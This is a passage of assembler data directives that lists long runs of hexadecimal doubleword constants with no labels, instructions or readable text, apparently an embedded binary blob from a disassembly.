5B00D012h, 763069EDh, 133A0599h, 0E1C29DEBh, 80DCF34Eh dd 0D16C11BAh dd 3E07000Fh, 0F1532982h, 0D2176897h, 510059EAh, 0BE4EC8CFh dd 58D5000Dh, 518DCECh, 28FEFF9Dh, 95AFE904h, 7480D4CFh dd 37FA63Ah, 0DEC5978h, 30004BD3h, 0F45DE12Bh, 1335F60h dd 931243EBh, 0D0AA899Dh, 0C271CDD3h, 7B725900h, 34F0D829h dd 0C53937EDh, 4091B741h, 721740A4h, 0D100BDF2h, 0C2611D67h dd 0A5EE020h, 0DE5BED5Ch, 0A93A0718h, 0B33DF0F3h, 2700BF28h dd 0E9498791h, 0C0784CC0h, 0BDFCFA1Ah, 0F601265Ch, 0A2DEE165h dd 0B3E0F9E2h, 37E6001Ch, 0E4CA31DBh, 0E133AA3h, 6C06A83Dh dd 169D90Dh, 503B8117h, 0C5E22257h, 36804780h, 345429AEh dd 0E7077A98h, 94B224EDh, 0A540A830h, 0B5C3001Bh, 98356F99h dd 3300D8E8h, 2A660886h, 11D63ECh, 484E5E2Fh, 8001C593h dd 2CB6D1E8h, 48C79D87h, 0F742D58h, 575C1308h, 3255BAA0h dd 0C10CF5EFh, 30DF4A5Bh, 1E9000DEh, 62D696FDh, 0D03E9EE8h dd 11600EE2h, 2B9181F8h, 0A07B70D4h, 0B40FF7E8h, 2A87B59Bh dd 0D903E99Dh, 1577478h, 5D1DDC40h, 0C8AA7E09h, 0FF307DD2h dd 2AF99931h, 0E5B400D7h, 0BCA9CE4h, 19005213h, 797FAE4Ah dd 62C14BDh, 1B299061h, 0F10091FBh, 1A52C19Ah, 45A66Fh dd 7FB73C66h, 0D70B74E9h, 0A8608318h, 0EAB79A9h, 80684896h dd 0EDBABCE0h, 0AE00C536h, 76982445h, 6B3CCF9h, 7D07E2D6h dd 0F4E539EFh, 200021ABh, 0E493D9DAh, 1EAE201h, 17E8D57Ch dd 0CC333448h, 60346D4h, 0FD4DE497h, 35D1C091h, 0A41F017Bh dd 927C4CCAh, 931884B7h, 7580997Fh, 2E109569h, 181C285Ah dd 0EAD47031h, 7485C303h, 0F07BFFDEh, 0A81AF071h, 78102A94h dd 2C77006Dh, 0E1CB40A3h, 110B2B98h, 3DF95Dh, 6E615714h dd 90F46145h, 0D92FEED4h, 0B448C49Dh, 5BC07005h, 0B2002203h dd 0EEDA5409h, 0F6AA03D4h, 0C4E5F74Eh, 206E3CB1h, 0FD00101Ch dd 22835820h, 78033A4Dh, 0EAB9005Dh, 2439F99Bh, 50DFC353h dd 68B549h, 0A6C4CC98h, 674600C7h, 87D16FAh, 28C05DB1h dd 0A47B9C2Ah, 49423B0Ch, 6CCE96h, 0FD1319B1h, 0D330B30Fh dd 705D50F8h, 69F3120Bh, 7B410066h, 0A2EEB501h, 0B0DFBC00h dd 39606A9h, 0BE7481h, 7CC775FDh, 1B8E7BFEh, 290573B8h dd 73A435E1h, 4970CC80h, 6B913045h, 68EA7CB8h, 67A70E03h dd 0D821AA47h, 183A9640h, 0F6FB6D15h, 3F006A27h, 0EC47BCC8h dd 2E59DA9h, 0CBC35AFCh, 0A4A06F22h, 4914F70h, 7B08E0C6h dd 0D61500E9h, 814DA253h, 970C1623h, 0D8362170h, 22C800C3h dd 993359E4h, 906E4BB3h, 4E71C018h, 58C045h, 1BD969D5h dd 0A693D2C2h, 9BA1DD01h, 0F94D5E50h, 0E9D1F0h, 3ABEFBBCh dd 0B8204FA5h, 46498400h, 5EF9CD52h, 9BBA03BDh, 3F1216DEh dd 321B2911h, 0CC040D08h, 88915108h, 57903169h, 34148382h dd 9DD95501h, 291A1905h, 272810A3h, 6276017Ah, 2435A905h dd 0E567CC90h, 23EF3Fh, 0F074FFA6h, 1FA11FC5h, 4FCB3057h dd 76E0FEDEh, 0B58FD5C1h, 3C5D1D58h, 0AEBA78h, 37127971h dd 98136Ch, 53D2FA6Bh, 33D7DE4Fh, 1AE30D24h, 96495D00h dd 7D7C2Bh, 5EF4CFD8h, 3D7AC724h, 478C680Fh, 0D62B61FDh dd 0A5F44827h, 227865h, 4A26ED96h, 5A213277h, 0C4523C00h dd 0C6E4C979h, 92E5391Eh, 0A733410Eh, 911922C7h, 0F4781589h dd 75E23EEAh, 564B4C1Fh, 459A6940h, 10435A3h, 0E2B0B954h dd 0E038235Ch, 0C9397B8Dh, 9753802Dh, 27298380h, 0C2EE7Ch dd 0A86995Fh, 92E815A6h, 737EC300h, 7F25ACA9h, 7AA33C80h dd 76F99480h, 68454DCBh, 995C8F00h, 0AE2C8253h, 9F541C15h dd 263EC7D8h, 0A2C01ECFh, 32068A76h, 0CAAD9E02h, 602C8113h dd 6BEE42h, 0E8C18E7Ch, 3E5FB44Ah, 35FB4Ch, 50765B05h dd 6463C3h, 125646B6h, 0E6EC9A5Eh, 78112E00h, 1ED41B6Ch dd 85500EDh, 67C9C034h, 9500D532h, 0E54075F6h, 2F176Fh dd 0E910859Eh, 0BD86D25Fh, 8B3B7FF6h, 4B3063C2h, 6820C8D7h dd 0E12F26B0h, 8F161DF9h, 0ECA08E5Dh, 9375C2CEh, 765CD900h dd 609590A5h, 94290007h, 1D10FC1Ah, 0E4ED4E6Dh, 911F7DC9h dd 0AA008796h, 1BE472FAh, 0EB8600E6h, 7F9A0AA6h, 2100647Bh dd 0B7B3065Dh, 0DBD97Dh, 0FC238C28h, 569AD0E4h, 0B877A900h dd 71DC2476h, 0BC2F3A95h, 6BFB0075h, 0DAFD5FBDh, 0FC03E2B1h dd 1D1F5501h, 1471E0A6h, 0E1D7FF6Dh, 1180911Bh, 0DB271F7Fh dd 470015D6h, 0EF9EF85Dh, 9A24D63h, 36CF4033h, 0CE761780h dd 6E00DA13h, 6A1AACEBh, 0F6B101E1h, 0FC6DF881h, 0AF5D0064h dd 4FD34883h, 91001232h, 0A63B6155h, 0F8273Eh, 0DDFF3A14h dd 46F39F87h, 13BCD205h, 17C0DFC9h, 98DC17B7h, 0D116005Bh dd 0D628DCAh, 0D6002F8Bh, 0F9305EEEh, 861790h, 64314754h dd 9E38BB4Eh, 63013E00h, 3A8FD0A9h, 3BD3073Fh, 0C0261CCAh dd 990D6D2Dh, 551AC300h, 0B3AE7D2h, 0B7670008h, 0E8A07A3Dh dd 32390D9Ch, 795B0084h, 266C2173h, 681E00D7h, 29CD66ABh dd 0E338D025h, 0DBBE00B2h, 603196CFh, 0A0263A28h, 739F1981h dd 0E8BBF142h, 12004499h, 1DA16914h, 0FC8CF4h, 0EDB1902Ch dd 169CCF85h, 1B932001h, 6EC999B0h, 240FA2DCh, 0B830979Eh dd 6ABE2100h, 45CAFEC5h, 4DE0E200h, 855B8B07h, 0C4161EB0h dd 2089403Ah, 74183D0Dh, 0D00017FAh, 8DF785C6h, 1D25E9DAh dd 44134277h, 73171FBh, 5260EDEBh, 20A766h, 569E3D2Dh dd 0FA05D52Ch, 7D39F4F6h, 0F2DA9B8Ah, 518ED078h, 3A6E489Ch dd 4D0FBB3Dh, 78600E05h, 0FA80149Eh, 8ECE123Fh, 49E994h dd 832B74D2h, 56E700B5h, 3EF2E4D1h, 5CF8C7F4h, 5AB38204h dd 0E4831C98h, 4FABA07Eh, 0FF500040h, 0C597EFB2h, 9B079520h dd 0DF10D00Eh, 0D354CC0h, 39BD0ED3h, 0B3E07654h, 6FA95CA2h dd 33EB6C0Eh, 8D4CC058h, 1E5D48Ch, 55C50AF7h, 2056B2DAh dd 8F09788Eh, 0F526FBh, 0CD62073Bh, 0C043FE4h, 0FF0B4D4h dd 0B5EB7BC8h, 0ED24D000h, 0F7001265h, 209D64B7h, 0A52C0Ch dd 0FE05DCBCh, 0AB2ADC1h, 0FF902500h, 52BF9789h, 0CC8B004Dh dd 359AF92Ah, 926CCBh, 0C71C5000h, 253B341Fh, 473E00F6h dd 11AD09BFh, 0DA90E595h, 875C4209h, 6EEC8013h, 3BE6F0h dd 931DD7C3h, 0FF7235C1h, 7B06E400h, 5D58046Dh, 0C0EC4Eh dd 735699FCh, 23F47ABBh, 0E962CB03h, 0D0B670E8h, 5A7BF6h dd 0DA24CF86h, 78D0D75Bh, 769D6218h, 0C8C0B21h, 0B06083A0h dd 9076F010h, 6BD85600h, 4EF6405h, 0F98D00C1h, 38E49829h dd 0A9002469h, 46ACD590h, 7B5A3620h, 0BB210406h, 8185FE84h dd 0CC9C28D0h, 0F4001F0Ah, 5DE2E68Ah, 7E76C4h, 0B0141075h dd 49D66CF7h, 2BDA1903h, 8825A45Ah, 0BD0A23h, 38F87964h dd 58D84F8Ah, 303CDD1Eh, 272C4600h, 1FEB99D5h, 0CEAFEA3Dh dd 0E261184Fh, 0CC5077E6h, 0BA0069A0h, 9B168622h, 37CDBFh dd 203A781Fh, 0E997E803h, 1879AB1Eh, 6003C57h, 0B3ED1B44h dd 0FD792Dh, 7319877Eh, 0ADE80DB8h, 0D5EB5801h, 224C366Ch dd 39820h, 0FB01A908h, 40EFAEBAh, 840ADE00h, 498CD7F8h dd 3118004Dh, 0E4ABAF13h, 81000B7Bh, 0E758BE2Eh, 3F7F0DCEh dd 9F80B73Dh, 0D814C3E2h, 6F5CC5C8h, 42F100E5h, 38F79523h dd 199A00BAh, 3918C0EAh, 310701A6h, 0DFFFECBDh, 0EFB4DB70h dd 3A0F2CBh, 2E5FB984h, 0A4888ACAh, 39009603h, 0CE694E3Fh dd 782589ADh, 0E6620071h dd 0B06D6A79h, 0E4B01EA4h, 9F2A7B00h, 42FBD9CAh, 75017546h dd 0A56B000Fh, 2CA99ACEh, 3D16C8FDh, 6C405512h, 5403D11Eh dd 3C9030h, 8C7C8E13h, 1BC040CFh, 2C0943E0h, 80987280h dd 0AE2516C1h, 631303DEh, 5F40DA62h, 0B71D53B0h, 4C0BA04h dd 2CC15ACAh, 6C7092D2h, 6CC1CE6h, 4955010Fh, 64138E10h dd 0A106C958h, 7BEF2FEEh, 83690110h, 0F47E4D91h, 228CF8A4h dd 8AC3C204h, 44928603h, 27DCA0A8h, 7FBBD121h, 0D9421C6Dh dd 0FBBAC087h, 37D32F5Ch, 3C59F700h, 0D4DA06F3h, 0B4F4CAh dd 0EBC17C1Ch, 14392444h, 98B9A000h, 415A6B7Fh, 129D00F1h dd 0C07506FDh, 0B70135E3h, 0F7D491ECh, 0B0402496h, 0F815BF45h dd 89D8606Ch, 110491D7h, 37FCFB03h, 36DFF0h, 38754318h dd 0C5F63089h, 9BAD4D00h, 9994D940h, 5D4F0169h, 2B89814Ch dd 0A184F0D0h, 8EA54A1Eh, 91B6A4C1h, 97C0B7D7h, 98430019h dd 0A74D9EF4h, 1D90610Ah, 2368F100h, 0ACE7942Dh, 604130DEh dd 0BDD5B618h, 7A7CD41Ch, 0E4001A93h, 0A5D93776h, 7EC00C6h dd 70F709B9h, 9200D01Bh, 0F599C1E5h, 73F7255h, 0EA2EA345h dd 7AF0E086h, 0B07221C6h, 1357C802h, 0C03D3342h, 0D04ADAh dd 0CFBBB4E5h, 81FCBCA4h, 3FDA4E38h, 62188056h, 9AAE040Ah dd 15BE015Bh, 0DD3AB19Ch, 0BCB0C319h, 552CC372h, 6300D4A5h dd 7A8696C8h, 0FA313F06h, 8C14F583h, 15F2989Fh, 91F974C0h dd 4047C100h, 3BB785D1h, 10E7264Bh, 399B00E7h, 0BAEE3481h dd 0BB087C04h, 85806555h, 0E0ECD3C6h, 0A8C80020h, 1804500Ch dd 840033B7h, 6D74EA8Fh, 28BF3142h, 0EBE53710h, 0E0C032FDh dd 0F960E1BBh, 4FEA0050h, 2E33FDEEh, 23489313h, 54A61204h dd 7B149890h, 0B93400D7h, 0AF6F0806h, 0C038B04Ch, 534F04B3h dd 88804454h, 880BA2h, 0A5868F5Dh, 0A902B8FBh, 92781400h dd 0DEE0E3DDh, 4EC30F4Dh, 1280FD32h, 9021153Eh, 80A51301h dd 3DF95B54h, 0FBC840EEh, 0B81A00B0h, 96DACA8Bh, 7103FCD5h dd 0E4C8BEE1h, 0F0064015h, 5024962Ah, 0A1009974h, 1C9F146Fh dd 7DE09F2h, 38261A6Eh, 0F746C704h, 0FE060072h, 2F009CDCh dd 2BAD27ABh, 0E8CA86h, 9B92690Eh, 3BD0B581h, 8FAEDF3Ah dd 8BB7B8BBh, 0B2FCA0D2h, 238DF0h, 55F81024h, 6B500213h dd 2D679700h, 6AC8D788h, 12C95CD4h, 3FF50077h, 559AFB42h dd 0FFE0D299h, 0A5D3200h, 290C3DDFh, 4425000Fh, 1447E292h dd 1B00ED1Ch, 0CA27B21Fh, 8F6DCDh, 3F97D1A3h, 37E4F84h dd 92755600h, 6D188877h, 0DE0B00FAh, 55044ED3h, 6F989471h dd 0E1DC5100h, 24FC82AEh, 1C8F0CCh, 36E4B91Ch, 40DE7FD1h dd 49A60DA4h, 8B48FB01h, 0FE1725CFh, 5CBC3EE8h, 15006423h dd 0DBC19C50h, 3090C2E1h, 9D18EC00h, 4B2A92ADh, 1E917581h dd 425E3A1Bh, 68D6C6B7h, 6B229440h, 8050BE3Ch, 0BDEB702Eh dd 0DAB6E0h, 0AA0B6A3Dh, 9FD095BFh, 0B40CCC2Eh, 6AF0300h dd 70E68DF9h, 403913D6h, 1CC702Eh, 0DF0003C6h, 27BE6C20h dd 3887A3Ch, 8536027Fh, 283DFB56h, 574980C2h, 66C1E1A0h dd 48A300B6h, 0B17BA6F4h, 391620A4h, 8807E3CEh, 7C708222h dd 213FB2h, 128AC580h, 66CCFBD7h, 7EC43200h, 6FD61181h dd 0D81C008Bh, 540F4B3h, 0B6B8E8D0h, 5D8A9304h, 1583F1BFh dd 889FD87Ch, 11F00022h, 10E2AA96h, 0AC917E0Ah, 5ED6CFE0h dd 807E026Bh, 94289C7Ah, 0BCC11260h, 0E5AA5600h, 41555EE8h dd 69A20019h, 263D05E7h, 380074B9h, 0A3D01F8Eh, 784C7DBFh dd 8B7F0732h, 17E2B91h, 0D9A52CCDh, 0EB8DFC1Ch, 4372E09h dd 0A80B80C0h, 0C159A0h, 0EFD83CFCh, 8666E816h, 0C6015C7Dh dd 6C5E433Dh, 74349061h, 0B6B80064h, 0F8C3074Dh, 9302E40Eh dd 0EC32EE08h, 5C7CC8B7h, 3C952617h, 691C0674h, 0D4206934h dd 0E77B20CBh, 0CD025h, 0CE025F9Ch, 407E0E7Dh, 0B4402697h dd 49034AB5h, 0E8519A2Ah, 44438B00h, 2AC3A278h, 5ECC2642h dd 1ECB8044h, 0CA0EDAA0h, 1FA51600h, 9E5F1935h, 465C1FAFh dd 176A80C3h, 0F3FED598h, 77538B03h, 0F49C354Ah, 15A99C0h dd 88A0006Dh, 168322C9h, 0B2135047h, 4B0376BEh, 98098D7Ch dd 31F6211h, 15D33A60h, 7D80A6ACh, 0F40E8BA9h, 0E05229DAh dd 2EDDF95Fh, 0CB5B0026h, 0D0B410ACh, 0B9004D24h, 0A03B7472h dd 0D9E80Ch, 1E4AEDC3h, 5393C884h, 0A46149h, 0EF433916h dd 0C5F3D7h, 0B1C02F4Eh, 988147F4h, 34963C0Eh, 6400D6A0h dd 0F521B713h, 0FCE6161Fh, 429400A3h, 0EFD2110Ah, 40866913h dd 0C1E8D003h, 8A1DC07Ah, 0CE6D0F21h, 0EAE29AE7h, 0B087C39Fh dd 32956072h, 0C150E27Dh, 51F4C4ACh, 958AA7Fh, 931E12D9h dd 5A1A0440h, 56559FFh, 0B38AF0CFh, 54A40186h, 0CD124305h dd 66E4301Ch, 61113Eh, 0B7B997CFh, 989109FBh, 0FD4EA0h dd 39EDC29Ch, 0E0F878A7h, 6AD35F0Fh, 121BEFE7h, 0FCC4F852h dd 11AAC107h, 0A9A60281h, 3E0738C4h, 4380486Bh, 4626FE05h dd 68B88713h, 1CA0A0Eh, 1D2FA133h, 37EC8023h, 0E324008Dh dd 87D11CACh, 3E4FDD99h, 0F5004DF8h, 84C4D66Ch, 1C7C553Ch dd 0BF59620Eh, 83AB22h, 4640691Eh, 3B54726Ch, 4A84C31Eh dd 0C0FA9E3Bh, 0E6336DA0h, 0EA965903h, 0B503B4BAh, 62AFE582h dd 23A760BCh, 76AD0037h, 6A2762E8h, 0BE00B08Fh, 8DFFB3A8h dd 732D860h, 84F3FB37h, 63B762A2h, 1142A060h, 559723h dd 65272A3h, 0EA17A1B5h, 400DED5h, 7CE3FAB8h, 0E18B0031h dd 0BC5F13D2h, 260FAC14h, 80619683h, 0E70FA4EEh, 501B00D7h dd 0EB7937C2h, 49000BC5h, 0CD5F8CF5h, 84803Ah, 253D9E78h dd 0BD364186h, 5953FA01h, 0D00342ECh, 0E8C8F971h, 5D5E1802h dd 88B311EDh, 17587800h, 0C734224h, 9EEF001Bh, 0B0C0C70Bh dd 0EB07A83Ah, 0E61EB5ABh, 8E724AE0h, 0E9D400DAh, 5E0B14B1h dd 7D013C1Ah, 0D736DF6Dh, 95FC67A1h, 0B4D95099h, 10CA3C16h dd 0B90F5180h, 7BA032B8h, 7C7DC700h, 4F042E98h, 0FECBFCB7h dd 0D129009Ah, 0A624A746h, 0FAECFDA4h, 0AD10FE00h, 70673083h dd 2C411FF8h, 0ED03C4CCh, 0E74CC0E4h, 4D0023D2h, 0F97D1B8Bh dd 1274089h, 8FE6678Ah, 0D0FF8220h, 7F5D1C3Fh, 0A5E51F98h dd 0FB3DEEC1h, 4BF801FDh, 0A4CA3EF9h, 0DAFAB602h, 1C05C51h dd 0C0005415h, 955F2B05h, 28CA0C42h, 0E704F2h, 18A51BDAh dd 0CE9A5CEDh, 6F7158D8h, 4BFC0023h, 6A3A29ECh, 5F0F0EFEh dd 0E0D6A7C7h, 90A14092h, 84CA589h, 940ED1Fh, 3F0F9DBh dd 0AE5EC03Eh, 281E0DB2h, 0B06A6068h, 644AF9C0h, 7B8DDFA2h dd 0C2FB00E4h, 0BB6AD91Eh, 8201FF60h, 48559627h, 0DE408742h dd 7DE562h, 0F035C223h, 4FFCEDAh, 0A41C3000h, 70822FC8h dd 93ECC1F1h, 20360802h, 0EF00BC5Dh, 33B4D93Ch, 1F8DACC3h dd 38212C8h, 9CF70197h, 55ECB7D0h, 0DFF1ED00h, 145F687Ah dd 8CA60108h, 954303E1h, 0AF09D4E0h, 0F500237Fh, 1E32C6FAh dd 8119AEh, 0FEFB14A6h, 0B4E2D6EDh, 3E80C5Ah, 0D8677F00h dd 1F41E7FCh, 0CF377600h, 14264EBh, 5CC1002Ah, 69F3DF52h dd 6B00CB88h, 0ACF7AD3h, 0C58BB8h, 45071FB6h, 0E8DE79FCh dd 631F277Ch, 0D500B2BDh, 4365835Bh, 25D904CEh, 8047AED6h dd 55EFC42Ch, 0E6662D18h, 391AB210h, 0E503B165h, 0E41DD982h dd 0C4BF0828h, 1A7E81Fh, 0CAC4FB80h, 794686h, 680311B6h dd 0E8D91650h, 92055892h dd 45890D5Fh, 2DC5E820h, 3EFE0019h, 6FE9F82Bh, 0A3E8F9E3h dd 0F2200C60h, 721E55h, 0FBEFBEC3h, 0AB277DDAh, 0C59AED00h dd 68EC761Ch, 29E90FF3h, 0C858BCA6h, 24E935EBh, 0C000F02Ch dd 32D7749Bh, 0C9AAC63h, 22C7ECE4h, 0B7007621h, 888F0724h dd 6F95A489h, 87120898h, 0AEA03FDCh, 24222A2Eh, 1E68B500h dd 629E80Bh, 7012600Dh, 93C0A12Fh, 7EDF0F4Ch, 558A4900h dd 16C24D0Ah, 0D02400FBh, 8C13225Fh, 0E53CC976h, 4C007CF8h dd 0E2A8492Eh, 0F66A9B6h, 772DBDA7h, 3329D880h, 0B406BC6Bh dd 444B4DD9h, 0BA1D0029h, 7AFBDAEh, 24C0AD9Dh, 994B9EB3h dd 513B00D4h, 0A5CF224h, 0FD001EDFh, 40DC475Eh, 7EF40F14h dd 267E007Ah, 3B58D306h, 2900B52Dh, 89FD0576h, 4E8811h dd 0CAA62E4h, 1592ED5Fh, 0C0495D00h, 0C3833726h, 52AF0BA5h dd 1D806F95h, 78FA3B93h, 0F144B960h, 26FBBAh, 8CCBE9CEh dd 16D9D86Bh, 9FB9E600h, 3C72F3ACh, 670E0750h, 20472520h dd 6BE5FCFBh, 0BFDCD00h, 11174FD7h, 567A3F7Dh, 2E79D607h dd 1D1E601Fh, 4A0FF0DFh, 0A05ACA39h, 0DB5FC241h, 35B4020Ah dd 0E8921B52h, 7FECF60h, 0AF536A03h, 88E7A8ADh, 381DA191h dd 0C10026CBh, 0AAE68D47h, 0FD1E0B62h, 444255C8h, 80F9CB0Eh dd 96D6C5CCh, 4E1D0090h, 0AA3CDA99h, 11E8F82Fh, 72009EB8h dd 94FCFA4Fh, 0E8404852h, 3AECFAADh, 7B806B05h, 8EA6E84h dd 0A1FCC050h, 0ED58D0F3h, 0CB9EA201h, 0E896764Ah, 2CE4970h dd 938A1D2h, 6EC05498h, 0AC2E679Bh, 7C1D6527h, 0AB1D00FEh dd 63241118h, 0F0252CAEh, 5C5B0093h, 15427B34h, 0AAC5A200h dd 9CE72381h, 6C1001B0h, 0BE3A044Bh, 7136CC7Ah, 386E253Fh dd 0CBFB8092h, 86A315CFh, 0FA8C0018h, 0F8129B24h, 0F100984Dh dd 0FF36ABA8h, 4C91AFh, 0F4EA14B9h, 84C24A6Dh, 7F66D900h dd 98C6BB2Eh, 7C3900DAh, 4007F9B3h, 0F80E99DBh, 0DF722B47h dd 0F2C0FC9Eh, 5F4B498Ch, 546524C4h, 0F0660010h, 59CADF51h dd 86CCA91Fh, 55242DC4h, 73A6C7C0h, 4F424C2Ah, 4095331Eh dd 0DDEC7449h, 4E018FCFh, 0CE03F137h, 4C20DF3Ah, 9AD0011h dd 0A4B422ACh, 0F200DD9Ch, 7C5AB79Fh, 7DD664h, 3A5B79EDh dd 9BC702E9h, 9D35100Ch, 158A014h, 0F5A39355h, 0CC75ED1Eh dd 0B0799E19h, 0FDD01000h, 21BA2760h, 0C894A373h, 4CC7F5h dd 6D63CFB1h, 9507B0D8h, 8B93A500h, 806F92B7h, 0F33000CDh dd 58869E5Eh, 9000BD32h, 5AAAAF26h, 0CAEA12h, 22A0DC5Fh dd 15586453h, 480FBC90h, 0A1839931h, 0D0ABE011h, 3D3C7DCh dd 91E8C19Bh, 280016ECh, 0A793E1BDh, 267EB954h, 2888F055h dd 95DD035Ch, 3452F865h, 0DCB063FBh, 21B00C4Dh, 9ABDD900h dd 0DC587D5h, 3C6D1FD2h, 0A1758077h, 60C83762h, 0B2D5BB00h dd 294F18F2h, 15FF00A0h, 0C479F8C5h, 0B512F33Bh, 281D8E92h dd 5604D240h, 0BA21CDh, 0FEC3BB59h, 2EA45046h, 83C1711Eh dd 4DAB2F80h, 1FF9EF43h, 43CC5E9Bh, 0D00C4655h, 772BB000h dd 0AC9436B3h, 50100CAh, 742C1204h, 71388F18h, 95E80E06h dd 0AE03E09Ch, 2A9369h, 5FD7ECFCh, 0B02E326Ah, 0F0E2D928h dd 49EE6B03h, 0D05D1A2Dh, 48B3361Ch, 9800388Ch, 0ADEDE251h dd 58069AA7h, 0D2532487h, 0EC5413E0h, 80E405E4h, 2C94037Ah dd 0EBB881A4h, 100646Eh, 0B5835F9Bh, 1993DBh, 11B9577Dh dd 5B68CC3h, 73DE6300h, 5306D3DDh, 7FAD01B3h, 5B152980h dd 67673052h, 7578D03h, 886283C4h, 0A608A82h, 0EF05096Fh dd 90D00184h, 87EC367Ch, 5D0DD2C8h, 2300F2CFh, 0C75657AFh dd 0C240000Fh, 0A478D751h, 0BD2FB7AAh, 2CCF48Ch, 6A7396B5h dd 972FFCC0h, 89B1A700h, 4032B420h, 7D18E66Dh, 78A2585Eh dd 0C012091Ch, 7B5386FBh, 2600EFDCh, 0BA20136Ch, 0F443C8D4h dd 6D60268Eh, 0C2B9004Ch, 70CFFB28h, 0A3EDBF00h, 0FACDB7Ah dd 0FDE8F9h, 0B4094448h, 0B9FB9BBAh, 0A064822Ch, 43711A00h dd 3E78105Fh, 0FFB2B8h, 2117676Ah, 2DD7DAF2h, 0DF14B400h dd 89B26E13h, 60C218B8h, 0D7AC18E4h, 0E66FEE07h, 12F0ED76h dd 38BF49h, 0DACB3790h, 780A94D6h, 0C1E1F800h, 24D21298h dd 7D849252h, 0EB300BCh, 0A9AE11D5h, 0F40FE15Bh, 60A02ED3h dd 436F8823h, 0AB5C0054h, 30554091h, 0FC0060D5h, 989E0BE0h dd 3F42BEh, 0A10AFB31h, 0D2921A39h, 74178501h, 51C4DD49h dd 2BDE60h, 50C56CBFh, 2FBD9ACCh, 0C73F3C1Eh, 9BF53B03h dd 97EBB11Bh, 0ACEEAB40h, 26B0F4BFh, 20540E8Fh, 137703A6h dd 0CDA70C1Ch, 9940A582h, 930CD250h, 0D0D7F52Ch, 707313FCh dd 8B400A6h, 18CA62ADh, 4F269F00h, 0DDD65544h, 8E3638BEh dd 3BEC3C01h, 31B57745h, 0EDB8C7C4h, 0D500C5CEh, 4C3E5158h dd 0EC7E7C87h, 2C78B2B6h, 177A7924h, 4207EB6Dh, 0F8B7AF4Ch dd 379957C1h, 86469BE1h, 36910410h, 0D0AAC36Bh, 100FA488h dd 63021B60h, 2200C25h, 48CFCC9Ah, 3240C879h, 0A401C3DEh dd 8B671037h, 0D980F036h, 0D6C27A3Ch, 6A168377h, 40E7F29h dd 28620C93h, 0B1500645h, 0A9F8EB7Bh, 0E5CA6F17h, 3F01A852h dd 0C8135363h, 3D2846D0h, 0D4B16EC1h, 40B77821h, 34736570h dd 0BDB8081Dh, 0A0D3A61Ch, 40CC16FEh, 0DF48F8ACh, 2603B785h dd 0FE129F34h, 6F4EE822h, 0EC570008h, 9A19A6B2h, 5A0F0684h dd 0E026BC55h, 107CB475h, 56F501E1h, 4BA01460h, 60E07158h dd 71F9358h, 8E83E2FBh, 0E0F90CFCh, 0C7ED6DA9h, 0BEB86199h dd 0AB911818h, 0FA935903h, 53FBBE2h, 485E4220h, 708021CCh dd 6F0EF854h, 0F034E306h, 63084B6Eh, 0BAAF21D0h, 0A65D2588h dd 178A7B01h, 52ED817Fh, 0FF6BE20h, 5B1D56E5h, 47D0AA25h dd 815EFB94h, 50EF80DAh, 0F190C4CCh, 93777100h, 0BB6FD46Ah dd 0CFC7E869h, 0CA603121h, 2691D988h, 0A477FD00h, 0F8FE4E59h dd 2939E029h, 5D4B680h, 3A3CDBh, 8B6530D0h, 8CC367Bh, 3B213Eh dd 12C03A34h, 67716470h, 6DDAE400h, 0B6FF0A18h, 473016Eh dd 0D180DF7Fh, 41A84086h, 8CACA65Eh, 4BB7E02h, 19373958h dd 3CA510D1h, 0DA200BAh, 517D711h, 3A0FB24Bh, 54FD7ABDh dd 0E41D03C0h, 88AEBAC1h, 0A5CE83h, 0DFFFF15Dh, 19C51431h dd 0C100C476h, 93D54C7h, 0EAEE0E97h, 1EE62F57h, 0A500037Eh dd 7EBC1C5Bh, 0F97A0E42h, 12E011E0h, 0CACEAA6Ch, 0ED611600h dd 0FB654B81h, 0DF741E48h, 3F110042h, 4712C480h, 0EB1F7E00h dd 8E949264h, 0CEF40161h, 6D574C48h, 47F0F0FCh, 18D9EE30h dd 0F9A7BE1h, 0A3E448C0h, 0D221022Ch, 0E016340h, 0B3C08562h dd 2E0C483h, 19211100h, 8F4A2DF2h, 80FC19D1h, 80380896h dd 0FD0FAA21h, 4BB19Fh, 7A948CCFh, 612B98E7h, 8C57333Fh dd 510E5007h, 0E67660h, 0B7DD7712h, 0B6CF43F0h, 81C0F9E8h dd 0B20BD07h, 0CB07C2Fh, 65F2494Fh, 9F0E28A0h, 8701C09Bh dd 5C43BCA7h, 0D8BDC0C7h, 0F5880030h, 3D8F5B04h, 0F037077Ah dd 0B460802Eh, 1DACDBBh, 0D19B68E7h, 819C447Ch, 0A75AE910h dd 6FC4475Eh, 0B810097h, 0F26AE231h, 0D40062A0h, 507E5923h dd 7DE90BFh, 0F58155C0h, 7B36C1D3h, 0F6A8F0CDh, 95456A00h dd 9EB9F91Dh, 7CFA0331h, 0AD3FA51Eh, 818343C1h, 6E4B7120h dd 31801A6Dh, 0F862826Fh, 780C57D0h, 85E9A99h, 3821C105h dd 0D5BD6D1Ah, 861B60CBh, 8244970Ch, 1D0F21F5h, 0E393D3h dd 0B69EBFE9h dd 8D03E1B2h, 0C34570F5h, 29E6F1h, 9D54974Ah, 3B798CFh dd 8F6CB31h, 20804443h, 0B242698Ch, 0A4E4B9BFh, 631D606h dd 1C0BA6Dh, 47E2A095h, 0F1364B7Dh, 1800CFE5h, 63150BC4h dd 0F1279h, 56D499DCh, 0FA197B80h, 8454D600h, 0B4AB362Bh dd 42580B77h, 0C980BAECh, 6D5D2F30h, 33072801h, 0F94856BDh dd 369F4D8h, 5AE81B6h, 0E6F0547Eh, 65008702h, 4B191F0Fh dd 0B03435h, 9D1795Bh, 96ACC174h, 940041F2h, 46E63023h dd 0EF3AE4h, 0AA971FC9h, 58DECBA3h, 1A901500h, 2FDDAE64h dd 0AB700A1h, 94579911h, 5F00B13Bh, 4067A287h, 0A16C43h dd 4D60CB04h, 2F0D22C9h, 3016BB30h, 173586h, 9350BD3Ch dd 0F0E1C90h, 0CD252A00h, 0CC669939h, 0E8D000BEh, 0F5AF1031h dd 7FF45C37h, 72494400h, 2C143913h, 0B0DD4CFAh, 0CF4BB00h dd 64943040h, 14BCF00h, 6617CCFDh, 2B7751h, 8524F4A1h dd 6125C215h, 29700760h, 0EE7F89h, 3FCBEB6Ah, 0C30A8222h dd 27E16700h, 997C78E6h, 6F323028h, 6B5BE788h, 7E5DD02Ch dd 33419A00h, 782B71Ah, 0C6AE09CEh, 0C56A40D4h, 730E6FB6h dd 8E26DD42h, 0ACAAA045h, 0C02322E5h, 9CD1FB10h, 0D9F81D9Ah dd 585F54EEh, 2500B6B8h, 0D053F4Dh, 280057ADh, 2EF3C571h dd 769B76Fh, 